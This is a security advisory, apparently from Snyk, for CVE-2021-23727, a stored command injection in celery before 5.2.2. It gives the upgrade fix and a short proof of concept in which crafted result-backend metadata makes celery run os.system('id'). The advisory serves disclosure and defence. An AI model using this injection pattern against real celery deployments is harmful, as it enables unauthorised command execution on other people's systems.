Stored Command Injection Affecting celery package, versions [,5.2.2)
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Test your applications- Snyk ID SNYK-PYTHON-CELERY-2314953
- published 29 Dec 2021
- disclosed 9 Dec 2021
- credit Calum Hutton from Snyk Research Team
Introduced: 9 Dec 2021
CVE-2021-23727 Open this link in a new tabHow to fix?
Upgrade celery to version 5.2.2 or higher.
Overview
Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.
PoC
Example of modified metadata as stored in the result stores:
'status': 'FAILURE',
'result': json.dumps({
'exc_module': 'os',
'exc_type': 'system',
'exc_message': 'id'
})
}
Reproduction steps in a Python shell:
from celery.backends.base import Backend
from celery import Celery
b = Backend(Celery())
exc = {'exc_module':'os', 'exc_type':'system', 'exc_message':'id'}
b.exception_to_python(exc)
The result would be an output of os.system('id').